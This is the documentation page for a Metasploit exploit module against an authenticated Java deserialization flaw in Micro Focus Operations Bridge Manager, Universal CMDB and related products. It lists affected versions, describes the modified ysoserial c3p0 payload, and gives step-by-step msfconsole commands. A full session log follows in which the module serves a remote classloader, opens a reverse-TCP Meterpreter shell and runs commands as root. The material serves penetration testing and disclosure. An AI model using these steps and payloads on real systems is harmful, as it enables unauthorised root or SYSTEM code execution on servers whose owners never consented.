## Vulnerable Application

This module exploits an authenticated Java deserialization that affects a truckload of Micro Focus products:
* Operations Bridge Manager versions: 2020.05, 2019.11, 2019.05, 2018.11, 2018.05, versions 10.6x and 10.1x and older versions
* Application Performance Management versions: 9.51, 9.50 and 9.40 with uCMDB 10.33 CUP 3
* Data Center Automation version 2019.11
* Operations Bridge (containerized) versions: 2019.11, 2019.08, 2019.05, 2018.11, 2018.08, 2018.05, 2018.02, 2017.11
* Universal CMDB versions: 2020.05, 2019.11, 2019.05, 2019.02, 2018.11, 2018.08, 2018.05, 11, 10.33, 10.32, 10.31, 10.30
* Hybrid Cloud Management version 2020.05
* Service Management Automation versions 2020.5 and 2020.02

Exploiting this vulnerability will result in remote code execution as the root user on Linux or the SYSTEM user on Windows.
Authentication is required, the module user needs to login to the application and obtain the authenticated LWSSO_COOKIE_KEY,
which should be fed to the module.
Any authenticated user can exploit this vulnerability, even the lowest privileged ones.

The exploit uses a modified ysoserial c3p0 payload. The only part that is modified is that c3p0 is built using version 0.9.1.2,
so that the serialVersionUid of the target is the same as the exploit. This can be achieved by patching ysoserial's pom.xml.

This module was only tested with Operations Bridge Manager 2020.05 and 2019.11. It should work as is with earlier Operations Bridge Manager
versions, but it might require small modifications (to the cookie name or vulnerable URI) for the other affected products. However it is
equally likely that it works out of the box with the other products, as HPE / Micro Focus is well known for re-using (vulnerable) code.

For more information refer to the advisory link:
* https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md

Installation docs are available at:

* https://docs.microfocus.com/itom/Operations_Bridge_Manager:2020.05

Vulnerable versions of the software can be downloaded from Micro Focus website by requesting a demo.

## Verification Steps

1. Install the application
2. Start msfconsole
3. `use exploit/multi/http/microfocus_obm_auth_rce`
4. `set rhost TARGET`
5. `set lhost YOUR_IP`
6. `set srvhost YOUR_IP`
7. `set lwsso_cookie_key AUTHENTICATED_COOKIE`
8. `run`
9. You should get a shell.

## Options
`LWSSO_COOKIE_KEY` is a required option that must be set by the user. This cookie is returned when a user authenticates to OBM using the
web interface.
Paste the cookie contents into this variable so that the module can perform the authenticated exploit.

## Scenarios

```
msf > use exploit/multi/http/microfocus_obm_auth_rce
[*] Using configured payload java/meterpreter/reverse_tcp
msf exploit(multi/http/microfocus_obm_auth_rce) > set rhosts 10.0.0.10
rhosts => 10.0.0.10
msf exploit(multi/http/microfocus_obm_auth_rce) > set lhost 10.0.0.1
lhost => 10.0.0.1
msf exploit(multi/http/microfocus_obm_auth_rce) > set srvhost 10.0.0.1
srvhost => 10.0.0.1
msf exploit(multi/http/microfocus_obm_auth_rce) > set lwsso_cookie_key "7j-OJPUrD25c8CYmZav3fIuzXlPk4tksYgXd3HiuCMKC_Qn4wT4D8Tc_ovwvtHPLCZRi1vsRIIyj9j4IVJiAAR_yDb3olzHTGD2J1haQU6sq_iJRDBKgl1eN3n3PHrc-yXa8jtXC3ltNmLPLkXPbdrx6zbbTEkxyMMn2Lg5co4bGSA6Z-_OtlMXgUexKPLLAzszXJuVxeF5b6-sc91F7ew.."
lwsso_cookie_key => 7j-OJPUrD25c8CYmZav3fIuzXlPk4tksYgXd3HiuCMKC_Qn4wT4D8Tc_ovwvtHPLCZRi1vsRIIyj9j4IVJiAAR_yDb3olzHTGD2J1haQU6sq_iJRDBKgl1eN3n3PHrc-yXa8jtXC3ltNmLPLkXPbdrx6zbbTEkxyMMn2Lg5co4bGSA6Z-_OtlMXgUexKPLLAzszXJuVxeF5b6-sc91F7ew..
msf exploit(multi/http/microfocus_obm_auth_rce) > check
[*] 10.0.0.10:443 - The service is running, but could not be validated.
msf exploit(multi/http/microfocus_obm_auth_rce) > run

[*] Started reverse TCP handler on 10.0.0.1:4444
[*] Using URL: http://10.0.0.1:8080/
[+] Started remote classloader server at http://10.0.0.1:8080/
[*] Sending remote classloader gadget to https://10.0.0.10/legacy/topaz/sitescope/conf/registration
[*] Sending stage (58147 bytes) to 10.0.0.10
[*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.9.8.10:36432) at 2021-01-28 18:13:18 +0700
[*] Server stopped.

meterpreter > getuid
Server username: root
meterpreter > shell
Process 1 created.
Channel 1 created.
uname -a
Linux pwned 3.10.0-1062.18.1.el7.x86_64 #1 SMP Tue Mar 17 23:49:17 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0
```
